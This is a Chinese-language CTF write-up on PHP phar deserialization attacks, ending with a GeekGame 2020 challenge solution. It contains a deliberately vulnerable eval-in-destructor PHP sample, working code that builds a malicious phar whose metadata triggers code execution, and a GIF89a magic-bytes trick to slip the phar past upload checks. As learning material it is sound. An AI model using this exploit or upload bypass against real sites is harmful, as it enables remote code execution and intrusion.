0x00 开始的一点废话
最近比赛打的挺菜的,但是还是跟着师傅们学到了很多东西的,不管怎么样,还是踏踏实实一点点学,仔细写写php代码,不能浮于表面。
0x01 前言
通常利用反序列化漏洞的时候,只能将反序列化后的字符串传入到unserialize()中,这种漏洞随着代码安全性的提高之后难以利用。在2018年的Black Hat会议上,Sam Thomas提出了利用phar文件会以序列化字符串的形式存储用户自定义的meta_data这一点特性,拓展了php反序列化漏洞的攻击。该方法依赖于文件系统的函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议对phar文件内容的解析,自动反序列化meta_data中的内容,可以不依赖于unserialize()进行反序列化操作。
参考:https://paper.seebug.org/680/
0x02 原理分析
在先说phar文件如何实现php反序列化攻击的之前,先要明白什么是phar文件以及phar文件的结构。
什么是phar文件
- phar(PHP Archive)是PHP里的一种打包文件,用于归档 。PHP版本>=5.3的时候默认开启对phar文件的支持。
- phar文件默认状态是只读。使用phar文件不需要任何额外配置。
- phar://伪协议用来解析phar文件的内容。
phar文件的结构
a stub
可以理解位一种标志,其格式为xxx<?php xxx;__HALT_COMPILER();?>
,前面的内容不限,但是一定要以__HALT_COMPILER();?>
来结尾,否则phar扩展无法识别这个文件,也就是说,phar扩展是以__HALT_COMPILER();?>
为标志来识别phar文件的。
a manifest describing the contents
phar文件的本质就是一种压缩文件,每个被压缩文件的权限,属性等信息都被存放在这里,另外,用户自定义的meta-data也会被储存在这里,这是实现phar文件攻击的核心。
the file contents
被压缩的内容
[optional] a signature for verifying Phar integrity (phar file format only)
文件签名,放在文件末尾。格式如下:
0x03 利用phar文件攻击
Demo1 任意代码执行(多见于CTF)
要攻击的站点源码如下:
<?php
class Flag{
public $code;
public function __destruct()
{
// TODO: Implement __destruct() method.
eval($this->code);
}
}
$filename = $_GET[\'filename\'];
file_exists($filename);
?>
传入文件名,检测该文件是否存在。
下面开始构造phar文件进行任意代码执行
- (注)开启phar文件的生成权限需要修改php的配置文件php.ini,将
;phar.readonly = On
修改为Off
即可,注意去掉;
。
- 生成一个phar文件,生成phar文件的代码如下:
<?php
class Flag{
public $code;
} //要攻击站点已存在的类
@unlink("test.phar"); //文件名 test.phar
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置sub
$a = new Flag(); //实例化类,让phar文件自动序列化,利用phar文件自动序列化meta_data的特点进行攻击
$a->code = "phpinfo();";
$phar->setMetadata($a); //将自定义的meta_data存入manifest
$phar->addFromString("test.txt", "test"); //要压缩的文件
$phar->stopBuffering(); //自动计算签名
?>
-
执行完上述代码之后,会在本地这个php文件的同目录下生成一个phar文件。如下图:
-
用winhex查看该文件:
-
可以看到,我们自定义的meta_data以序列化字符串的形式存储在了phar文件里。有序列化必然会有反序列化,PHP的大部分文件系统函数在通过phar://协议解析phar文件的时候,都会将meta_data进行反序列化操作,受影响的文件系统函数如下:
-
利用phar文件以及phar://伪协议进行攻击:
实现了任意代码执行。
- 来看php底层是怎么处理的:
可以看到,底层代码对meta_data进行了反序列化操作。
Demo2 phar文件幻数
- 之前提到过,phar扩展是以
__HALT_COMPILER();?>
来识别phar文件的,也就是说,我们可以修改phar文件头前半部分的内容,来绕过某些检测。
<?php
class Flag{
public $code;
} //要攻击站点已存在的类
@unlink("test.phar"); //文件名 test.phar
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置sub
$a = new Flag(); //实例化类,让phar文件自动序列化,利用phar文件自动序列化meta_data的特点进行攻击
$a->code = "phpinfo();";
$phar->setMetadata($a); //将自定义的meta_data存入manifest
$phar->addFromString("test.txt", "test"); //要压缩的文件
$phar->stopBuffering(); //自动计算签名
?>
在sub中新增加了GIF89a
这部分,将phar文件伪装成GIF文件来绕过某些检测。
将生成的test.phar文件修改后缀名,改为test.gif,再次进行测试:
0x04 利用条件
- phar文件必须可以上传到服务端。
- 必须要有可以利用的魔术方法(__wakeup()、__destruct())等。
- 文件系统的相关函数参数可控,且
phar
、:
、/
等关键字没有被过滤。
0x05 [GeekGame 2020] 反序列化?
- 进入题目,是一个文件上传的页面,下面给了提示,所以我们到
/vulnerable.php
看看。 - 直接给了源码:
<?php
highlight_file(__FILE__);
if (isset($_GET[\'filename\'])) {
$filename = $_GET[\'filename\'];
} else {
$filename = "";
}
class Flag
{
private $code;
function __destruct()
{
// TODO: Implement __destruct() method.
eval($this->code);
}
}
if (file_exists($filename)) {
echo "文件存在的呢;";
} else {
echo "啊这,文件不在哦";
}
?>
- 很明显是利用反序列化调用
__destruct()
方法来执行任意代码,但是没有unserialize()函数,要想调用魔术方法,结合题目一开始的文件上传,很容易想到phar文件的上传。 - 利用Demo所示的代码,生成phar文件,改为GIF文件来绕过检测,直接拿到Flag。
0x06 后记
比赛当时拿到这道题目没有一点思路,多亏了一位师傅提醒“一个phar文件的上传”,才拿到了Flag,故有此文。